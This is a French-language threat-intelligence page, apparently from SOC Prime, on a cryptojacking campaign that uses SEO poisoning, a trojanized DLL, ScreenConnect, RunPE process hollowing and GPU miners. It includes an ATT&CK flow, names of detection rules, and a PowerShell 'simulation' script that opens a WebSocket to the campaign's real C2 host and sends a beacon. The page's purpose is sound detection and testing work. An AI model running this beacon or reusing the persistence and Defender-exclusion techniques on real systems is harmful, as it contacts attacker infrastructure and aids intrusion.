SOC Prime Bias: Moyen

27 May 2026 15:46 UTC

Des résultats de recherche empoisonnés au minage GPU : une campagne de cryptojacking utilisant ScreenConnect et des utilitaires .NET

Author Photo
SOC Prime Team linkedin icon Suivre
Des résultats de recherche empoisonnés au minage GPU : une campagne de cryptojacking utilisant ScreenConnect et des utilitaires .NET
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Cette campagne utilise l’empoisonnement SEO et des résultats de recherche d’assistants vocaux manipulés pour inciter les utilisateurs à télécharger de faux outils de surveillance matérielle. Les installateurs trojanisés contiennent une DLL malveillante qui se charge dans une application légitime et déploie silencieusement ScreenConnect. Les attaquants utilisent ensuite ScreenConnect pour lancer un injecteur RunPE personnalisé qui creuse des binaires .NET signés par Microsoft et injecte une charge utile de la prochaine étape. L’étape finale télécharge des outils de minage de GPU tels que gminer, lolMiner, et SRBMiner-MULTI, puis maintient la persistance par le biais de tâches planifiées, de clés Run du registre et d’un raccourci de démarrage. Le malware ajoute également des exclusions à Windows Defender pour réduire les chances de détection.

Enquête

Les chercheurs de Microsoft Defender ont cartographié toute la chaîne d’infection, y compris la méthode de chargement de la DLL, l’abus de ScreenConnect comme outil de gestion à distance, et l’utilisation d’un chargeur RunPE personnalisé nommé SimpleRunPE.exe. Les analystes ont récupéré les arguments en ligne de commande de ScreenConnect, identifié la liste des binaires .NET signés utilisés pour le creusement de processus, et documenté un point de commande et de contrôle protégé par un certificat TLS épinglé. L’enquête a également découvert une infrastructure de support comme des domaines malveillants, des adresses IP, et des détails de fournisseur DNS liés à la campagne.

Atténuation

Les défenseurs doivent activer la protection livrée depuis le cloud, appliquer les règles de réduction de la surface d’attaque, bloquer les fichiers exécutables qui ne répondent pas aux critères de réputation, de prévalence, ou d’âge, et activer la protection Web et réseau dans Microsoft Defender pour Endpoint. Les outils de gestion à distance tels que ScreenConnect doivent être désactivés là où ils ne sont pas nécessaires ou étroitement contrôlés là où ils sont requis, avec un contrôle des tâches planifiées non autorisées et des entrées Run suspectes du registre. Toutes les exclusions Windows Defender ajoutées par le malware doivent être supprimées immédiatement, et les domaines et adresses IP malveillants identifiés doivent être bloqués.

Réponse

If RuntimeHost.exe or SimpleRunPE.exe est trouvé en fonctionnement à partir de répertoires de cache cachés, isolez immédiatement l’hôte affecté, terminez la session ScreenConnect concernée, et enlevez tous les mécanismes de persistance, y compris les tâches planifiées, les clés Run, et les raccourcis de démarrage. Bloquez le domaine minemine.gleeze.com et les adresses IP observées, puis effectuez une recherche dans l’environnement pour les binaires de minage listés et autorun.dll. Enfin, restaurez les protections de Defender et vérifiez les réglages d’exclusion pour tout changement non autorisé.

graph TB %% Définitions des classes classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ffcc66 classDef persistence fill:#99ff99 classDef defense fill:#ff66cc classDef privilege fill:#ffb366 classDef c2 fill:#66ccff classDef discovery fill:#c2c2f0 %% Nœuds action_initial_access[« <b>Action</b> – <b>T1659 Injection de contenu</b><br/>Le SEO poisoning et les liens de chatbots IA distribuent des fichiers ZIP malveillants déguisés en utilitaires. »] class action_initial_access action technique_event_trigger[« <b>Technique</b> – <b>T1546.009 DLL AppCert</b><br/>autorun.dll placée à côté d’un utilitaire légitime est chargée lorsque l’utilitaire est exécuté. »] class technique_event_trigger technique process_msiexec[« <b>Processus</b> – msiexec.exe »] class process_msiexec process technique_dll_injection[« <b>Technique</b> – <b>T1055.001 Injection de bibliothèque de liens dynamiques</b><br/>autorun.dll invoque msiexec pour installer silencieusement vcredist_x64.dll malveillante contenant l’installateur ScreenConnect. »] class technique_dll_injection technique technique_proxy_execution[« <b>Technique</b> – <b>T1218.007 Exécution proxy via Msiexec</b><br/>msiexec exécute l’installateur malveillant et établit un client ScreenConnect. »] class technique_proxy_execution technique malware_screenconnect[« <b>Malware</b> – Client ScreenConnect »] class malware_screenconnect malware persistence_scheduled[« <b>Persistance</b> – <b>T1543 Tâches planifiées</b><br/>Des tâches nommées « Windows System Health », etc., relancent le malware. »] class persistence_scheduled persistence persistence_registry[« <b>Persistance</b> – <b>T1037.001 Script de connexion</b><br/>Des clés Registry Run (HKLM/HKCU\\Run\\WinSysCache) sont ajoutées. »] class persistence_registry persistence persistence_startup[« <b>Persistance</b> – <b>T1037.004 Script RC</b><br/>Un raccourci dans le dossier Startup pointe vers RuntimeHost.exe. »] class persistence_startup persistence defense_exclusions[« <b>Évasion des défenses</b> – <b>T1564.012 Exclusions de fichiers/chemins</b> & <b>T1564.010 Usurpation des arguments de processus</b><br/>Ajoute des exclusions Windows Defender pour les fichiers et processus. »] class defense_exclusions defense defense_impair[« <b>Évasion des défenses</b> – <b>T1562 Neutralisation des défenses</b><br/>Utilise les exclusions pour contourner la détection AV. »] class defense_impair defense defense_sandbox[« <b>Évasion des défenses</b> – <b>T1497 Évasion de virtualisation/sandbox</b><br/>Les vérifications d’activité utilisateur (T1497.002) et l’évasion temporelle (T1497.003) interrompent l’exécution dans les environnements d’analyse. »] class defense_sandbox defense defense_codesign[« <b>Évasion des défenses</b> – <b>T1553.002 Subversion des contrôles de confiance</b><br/>Le code malveillant s’exécute dans des binaires .NET signés par Microsoft via process hollowing. »] class defense_codesign defense privilege_hollowing[« <b>Élévation de privilèges</b> – <b>T1055.012 Process Hollowing</b><br/>SimpleRunPE lance un binaire .NET légitime dans un état suspendu et injecte le payload. »] class privilege_hollowing privilege c2_websocket[« <b>Commande et contrôle</b> – <b>T1102.002 Websocket</b><br/>Connexion chiffrée wss://minemine.gleeze.com:8443/ws avec TLS pinning. »] class c2_websocket c2 discovery_info[« <b>Découverte</b> – <b>T1082 Informations système</b>, <b>T1592.001 Matériel</b>, <b>T1592.002 Logiciel</b><br/>Collecte CPU, GPU, RAM, version de l’OS, produit de sécurité, etc., afin d’évaluer la viabilité du minage. »] class discovery_info discovery %% Flux action_initial_access –>|mène à| technique_event_trigger technique_event_trigger –>|charge| process_msiexec process_msiexec –>|exécute| technique_dll_injection technique_dll_injection –>|installe| technique_proxy_execution technique_proxy_execution –>|installe| malware_screenconnect malware_screenconnect –>|crée| persistence_scheduled malware_screenconnect –>|crée| persistence_registry malware_screenconnect –>|crée| persistence_startup malware_screenconnect –>|ajoute| defense_exclusions defense_exclusions –>|permet| defense_impair defense_impair –>|facilite| defense_sandbox defense_sandbox –>|pris en charge par| defense_codesign defense_codesign –>|permet| privilege_hollowing privilege_hollowing –>|établit| c2_websocket c2_websocket –>|reçoit| discovery_info

Flux d’attaque

Détections

Points de persistance possibles [ASEPs – Logiciel/Registre NTUSER] (via registry_event)

Équipe SOC Prime
27 mai 2026

Schtasks pointe vers un répertoire/binaire/script suspect (via cmdline)

Équipe SOC Prime
27 mai 2026

Logiciel d’accès/gestion à distance alternatif (via process_creation)

Équipe SOC Prime
27 mai 2026

Usage suspect de CURL (via cmdline)

Équipe SOC Prime
27 mai 2026

Appels de méthodes .NET suspectes à partir de Powershell (via powershell)

Équipe SOC Prime
27 mai 2026

Changements suspects des préférences de Windows Defender (via powershell)

Équipe SOC Prime
27 mai 2026

Vérifications possibles d’évasion (via powershell)

Équipe SOC Prime
27 mai 2026

Binaire/script suspect dans l’emplacement d’autostart (via file_event)

Équipe SOC Prime
27 mai 2026

IOCs (HashSha256) à détecter : Des résultats de recherche empoisonnés au minage de GPU : Une campagne de cryptojacking exploitant ScreenConnect et les utilitaires Microsoft .NET

Règles IA SOC Prime
27 mai 2026

IOCs (SourceIP) à détecter : Des résultats de recherche empoisonnés au minage de GPU : Une campagne de cryptojacking exploitant ScreenConnect et les utilitaires Microsoft .NET

Règles IA SOC Prime
27 mai 2026

IOCs (DestinationIP) à détecter : Des résultats de recherche empoisonnés au minage de GPU : Une campagne de cryptojacking exploitant ScreenConnect et les utilitaires Microsoft .NET

Règles IA SOC Prime
27 mai 2026

Communication C2 à partir d’un binaire creusé [Connexion réseau Windows]

Règles IA SOC Prime
27 mai 2026

Accès à distance persistant et creusement de processus via ScreenConnect et SimpleRunPE [Création de processus Windows]

Règles IA SOC Prime
27 mai 2026

Exécution de simulation

Prérequis : Le contrôle préalable de télémétrie et de base doivent avoir été validés.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le narratif doivent refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif d’attaque & Commandes :
    Un attaquant a déjà livré un binaire légitime creusé sur la machine victime. Le binaire initie maintenant un canal C2 persistant via un WebSocket connexion à wss://minemine.gleeze.com:8443/ws. Pour émuler cela, nous utilisons un script PowerShell qui crée un ClientWebSocketen .NET, éventuellement définit un rappel de validation de certificat TLS personnalisé (simulant l’épinglage de certificat), et maintient la connexion pour une courte période.

  • Script de Test de Régression :

    # Simuler la communication C2 depuis un binaire creusé
    # Exigences : PowerShell 5+ (classes .NET intégrées)
    $c2Url = 'wss://minemine.gleeze.com:8443/ws'
    
    # Créer un client WebSocket
    $ws = [System.Net.WebSockets.ClientWebSocket]::new()
    
    # OPTIONNEL : Appliquer l'épinglage de certificat (accepter uniquement une empreinte digitale spécifique)
    $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234'  # placeholder
    $handler = [System.Net.Http.HttpClientHandler]::new()
    $handler.ServerCertificateCustomValidationCallback = {
        param($sender, $cert, $chain, $sslPolicyErrors)
        $cert.Thumbprint -eq $allowedThumbprint
    }
    
    try {
        Write-Host "Connexion à l'endpoint C2 $c2Url ..."
        $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait()
        Write-Host "Connexion établie. Envoi de la charge utile beacon..."
    
        # Envoyer un beacon dummy (JSON)
        $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }'
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $segment = [System.ArraySegment[byte]]::new($bytes)
        $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
    
        Start-Sleep -Seconds 10   # Garder le canal ouvert pour une brève période
    }
    finally {
        Write-Host "Fermeture de WebSocket..."
        $ws.Abort()
    }
  • Commandes de Nettoyage :

    # S'assurer que les processus WebSocket en suspens sont terminés
    Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force
    # Optionnellement supprimer les fichiers temporaires utilisés dans le test
    Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue